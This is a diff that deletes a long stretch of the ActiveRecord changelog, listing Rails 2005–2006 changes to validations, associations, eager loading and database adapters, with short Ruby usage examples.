-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
-    class Person < ActiveRecord::Base
-      validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
-    end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
-    class Project < ActiveRecord::Base
-      primary_key "sysid"
-      table_name "XYZ_PROJECT"
-      inheritance_column { original_inheritance_column + "_id" }
-    end
-
-* Fixed Base#clone for use with PostgreSQL #565 [hanson@surgery.wisc.edu]
-
-
-*1.6.0* (January 25th, 2005)
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
-    people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
-    Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
-
-
-*1.5.1* (January 18th, 2005)
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
-
-
-*1.5.0* (January 17th, 2005)
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
-    class Book < ActiveRecord::Base
-      has_many :pages
-      belongs_to :library
-
-      validates_associated :pages, :library
-    end
-
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
-    == Unsaved objects and associations
-
-    You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
-    aware of, mostly involving the saving of associated objects.
-
-    === One-to-one associations
-
-    * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
-      order to update their primary keys - except if the parent object is unsaved (new_record? == true).
-    * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
-      is cancelled.
-    * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
-    * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
-      not save the parent either.
-
-    === Collections
-
-    * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
-      (the owner of the collection) is not yet stored in the database.
-    * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
-    * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
-    * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
-
-* Fixed binary support for PostgreSQL #444 [alex@byzantine.no]
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the 
-  collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If 
-  it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards, 
-  it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
-
-* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower] 
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
-    Before:
-      class ListSweeper < ActiveRecord::Base
-        def self.observed_class() [ List, Item ]
-      end
-
-    After:
-      class ListSweeper < ActiveRecord::Base
-        observes List, Item
-      end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
-    Before: topic.update_attribute(:approved, !approved?)
-    After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
-    page.views # => 1
-    page.increment!(:views) # executes an UPDATE statement
-    page.views # => 2
-
-    page.increment(:views).increment!(:views)
-    page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-
-
-*1.14.2* (April 9th, 2005)
-
-* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
-
-
-*1.14.1* (April 6th, 2006)
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
-
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
-
-* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
-
-    class Post < ActiveRecord::Base
-      has_one :tagging, :as => :taggable
-    end
-    
-    Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
-
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
-
-    class PhotoCollection < ActiveRecord::Base
-      has_many :photos, :as => :photographic
-      belongs_to :firm
-    end
-     
-    class Firm < ActiveRecord::Base
-      has_many :photo_collections
-      has_many :photos, :through => :photo_collections
-    end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine@gmail.com]
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
-
-* Fixed broken OCIAdapter #4457 [Michael Schoen]
-
-
-*1.14.0* (March 27th, 2006)
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
-
-* Add support for :include to with_scope [andrew@redlinesoftware.com]
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
-
-* Change periods (.) in table aliases to _'s.  Closes #4251 [jeff@ministrycentered.com]
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick Olson]
-
-* Fixed issue that kept :select options from being scoped [Rick Olson]
-
-* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
-
-* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
-
-* Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
-
-    class Connection < ActiveRecord::Base
-      belongs_to :user
-      belongs_to :channel
-    end
-
-    class Channel < ActiveRecord::Base
-      has_many :connections
-      has_many :contacts, :through => :connections, :class_name => 'User' # OLD
-      has_many :contacts, :through => :connections, :source => :user      # NEW
-    end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact@maik-schmidt.de]
-
-* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
-
-  In this example, :include => false disables the default eager association from loading.  :select changes the standard
-  select clause.  :joins specifies a join that is added to the end of the has_many :through query.
-  
-    class Post < ActiveRecord::Base
-      has_many :tags, :through => :taggings, :include => :tagging do
-        def add_joins_and_select
-          find :all, :select => 'tags.*, authors.id as author_id', :include => false,
-            :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
-        end
-      end
-    end
-    
-* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
-
-* Quit ignoring default :include options in has_many :through calls [Mark James]
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
-
-* Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net]  Example:
-
-    class Firm < ActiveRecord::Base
-      has_many :clients
-      has_many :invoices, :through => :clients
-    end
-  
-    class Client < ActiveRecord::Base
-      belongs_to :firm
-      has_many   :invoices
-    end
-  
-    class Invoice < ActiveRecord::Base
-      belongs_to :client
-    end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
-
-* SQL Server adapter gets some love #4298 [Ryan Tomayko]
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
-
-* Rework table aliasing to account for truncated table aliases.  Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
-    Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
-
-  This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
-    Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 [Michael Schoen]
-
-    * Changes :text to CLOB rather than BLOB [Moses Hohman]
-    * Fixes an issue with nil numeric length/scales (several)
-    * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
-    * Tweaks a unit test to get it all green again
-    * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
-
-    class CachedModel < ActiveRecord::Base
-      self.abstract_class = true
-    end
-    
-    class Post < CachedModel
-    end
-    
-    CachedModel.abstract_class?
-    => true
-    
-    Post.abstract_class?
-    => false
-
-    Post.base_class
-    => Post
-    
-    Post.table_name
-    => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
-
-    class Foo < ActiveRecord::Base
-      has_many :attachments, :as => :attachable, :dependent => :delete_all
-    end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
-
-* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
-
-* Allow ordering of calculated results and/or grouped fields in calculations [solo@gatelys.com]
-
-* Make ActiveRecord::Base#save! return true instead of nil on success.  #4173 [johan@johansorensen.com]
-
-* Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
-    topic.to_xml
-  
-  ...returns:
-  
-    <?xml version="1.0" encoding="UTF-8"?>
-    <topic>
-      <title>The First Topic</title>
-      <author-name>David</author-name>
-      <id type="integer">1</id>
-      <approved type="boolean">false</approved>
-      <replies-count type="integer">0</replies-count>
-      <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
-      <written-on type="datetime">2003-07-16 09:28:00</written-on>
-      <content>Have a nice day</content>
-      <author-email-address>david@loudthinking.com</author-email-address>
-      <parent-id></parent-id>
-      <last-read type="date">2004-04-15</last-read>
-    </topic>
-  
-  ...and you can configure with:
-  
-    topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-  
-  ...that'll return:
-  
-    <topic>
-      <title>The First Topic</title>
-      <author-name>David</author-name>
-      <approved type="boolean">false</approved>
-      <content>Have a nice day</content>
-      <author-email-address>david@loudthinking.com</author-email-address>
-      <parent-id></parent-id>
-      <last-read type="date">2004-04-15</last-read>
-    </topic>
-  
-  You can even do load first-level associations as part of the document:
-  
-    firm.to_xml :include => [ :account, :clients ]
-  
-  ...that'll return something like:
-  
-    <?xml version="1.0" encoding="UTF-8"?>
-    <firm>
-      <id type="integer">1</id>
-      <rating type="integer">1</rating>
-      <name>37signals</name>
-      <clients>
-        <client>
-          <rating type="integer">1</rating>
-          <name>Summit</name>
-        </client>
-        <client>
-          <rating type="integer">1</rating>
-          <name>Microsoft</name>
-        </client>
-      </clients>
-      <account>
-        <id type="integer">1</id>
-        <credit-limit type="integer">50</credit-limit>
-      </account>
-    </firm>  
-
-* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
-
-* Documentation fixes for :dependent [robby@planetargon.com]
-
-* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
-
-* Don't classify the belongs_to class, it is already singular #4117 [keithm@infused.org]
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module.  Raise FixtureClassNotFound if a fixture can't load.  [Rick Olson]
-
-* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
-
-    * The first time a table is referenced in a join, no alias is used.
-    * After that, the parent class name and the reflection name are used.
-    
-        Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-    
-    * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
-    # cascaded in two levels
-    >> Author.find(:all, :include=>{:posts=>:comments})
-    => authors
-         +- posts
-              +- comments
-    
-    # cascaded in two levels and normal association
-    >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
-    => authors
-         +- posts
-              +- comments
-         +- categorizations
-    
-    # cascaded in two levels with two has_many associations
-    >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
-    => authors
-         +- posts
-              +- comments
-              +- categorizations
-    
-    # cascaded in three levels
-    >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
-    => companies
-         +- groups
-              +- members
-                   +- favorites
-    
-* Make counter cache work when replacing an association #3245 [eugenol@gmail.com]
-
-* Make migrations verbose [Jamis Buck]
-
-* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna@wota.jp]
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
-    * Does not support DATE SQL column types; use DATETIME instead.
-    * Date columns on HABTM join tables are returned as String, not Time.
-    * Insertions are potentially broken for :polymorphic join tables
-    * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
-
-* Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
-
-* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
-    Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
-      Developer.find(:all)     # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
-      # inner rule is used. (all previous parameters are ignored)
-      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        Developer.find(:all)   # => SELECT * FROM developers WHERE (name = 'Jamis')
-      end
-
-      # parameters are merged
-      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        Developer.find(:all)   # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
-      end
-    end
-
-* Fixed db2 connection with empty user_name and auth options #3622 [phurley@gmail.com]
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
-    Person.average :age
-    Person.minimum :age
-    Person.maximum :age
-    Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm@earthlink.net]
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
-
-* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table).  #2920 [Blair Zajac]
-
-* SQLServer: more compatible limit/offset emulation.  #3779 [Tom Ward]
-
-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar)  #3785 [Rick Olson]
-
-* PostgreSQL: correctly parse negative integer column defaults.  #3776 [bellis@deepthought.org]
-
-* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
-
-* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
-
-* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.]
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
-
-* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
-
-* Allow configuration of the column used for optimistic locking [wilsonb@gmail.com]
-
-* Don't hardcode 'id' in acts as list.  [ror@philippeapril.com]
-
-* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
-
-* Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
-
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact@maik-schmidt.de]
-
-* Sanitize scoped conditions. [Marcel Molina Jr.]
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
-
-* Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn@box.cz, Rick Olson, Scott Barron] 
-
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke] 
-
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke] 
-
-* made .find() work on :through relations. [Tobias Lütke] 
-
-* Fix typo in association docs. #3296. [Blair Zajac]
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke] 
-
-*1.13.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
-    class Post
-      has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
-    end
-    
-    post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
-    post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
-    post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
-
-* MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
-
-* SQLServer: fix obscure optimistic locking bug.  #3068 [kajism@yahoo.com]
-
-* SQLServer: support uniqueidentifier columns.  #2930 [keithm@infused.org]
-
-* SQLServer: cope with tables names qualified by owner.  #3067 [jeff@ministrycentered.com]
-
-* SQLServer: cope with columns with "desc" in the name.  #1950 [Ron Lusk, Ryan Tomayko]
-
-* SQLServer: cope with primary keys with "select" in the name.  #3057 [rdifrango@captechventures.com]
-
-* Oracle: active? performs a select instead of a commit.  #3133 [Michael Schoen]
-
-* MySQL: more robust test for nullified result hashes.  #3124 [Stefan Kaes]
-
-* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausoleil]
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
-
-* PostgreSQL: more robust sequence name discovery.  #3087 [Rick Olson]
-
-* Oracle: use syntax compatible with Oracle 8.  #3131 [Michael Schoen]
-
-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
-
-* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
-
-* Added preliminary support for join models [David Heinemeier Hansson]
-
-* Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
-
-* Firebird: active? and reconnect! methods for handling stale connections.  #428 [Ken Kunz <kennethkunz@gmail.com>]
-
-* Firebird: updated for FireRuby 0.4.0.  #3009 [Ken Kunz <kennethkunz@gmail.com>]
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver.  #428 [Jeremy Kemper]
-
-* Oracle: active? check pings the database rather than testing the last command status.  #428 [Michael Schoen]
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find.  #2974 [kajism@yahoo.com]
-
-* Reloading a model doesn't lose track of its connection.  #2996 [junk@miriamtech.com, Jeremy Kemper]
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman@rominato.com, Florian Weber, Michael Schoen]
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection.  Otherwise, the connection 'loses' its settings if it times out and is reconnected.  #2978 [Shugo Maeda]
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN.  [Jeremy Kemper]
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results.  Only available for MySQL 4.1 and later with the mysql-ruby driver.  Do SHOW CHARACTER SET in mysql client to see available encodings.  #2975 [Shugo Maeda]
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
-
-* Correct boolean handling in generated reader methods.  #2945 [Don Park, Stefan Kaes]
-
-* Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
-
-* Document :force option to create_table.  #2921 [Blair Zajac <blair@orcaware.com>]
-
-* Don't add the same conditions twice in has_one finder sql.  #2916 [Jeremy Evans]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Introducing the Firebird adapter.  Quote columns and use attribute_condition more consistently.  Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter  #1874 [Ken Kunz <kennethkunz@gmail.com>]
-
-* SQLServer: active? and reconnect! methods for handling stale connections.  #428 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array.  #1345 [MarkusQ@reality.com]
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY.  #2866 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Oracle: active? and reconnect! methods for handling stale connections.  Optionally retry queries after reconnect.  #428 [Michael Schoen <schoenm@earthlink.net>]
-
-* Correct documentation for Base.delete_all.  #1568 [Newhydra]
-
-* Oracle: test case for column default parsing.  #2788 [Michael Schoen <schoenm@earthlink.net>]
-
-* Update documentation for Migrations.  #2861 [Tom Werner <tom@cube6media.com>]
-
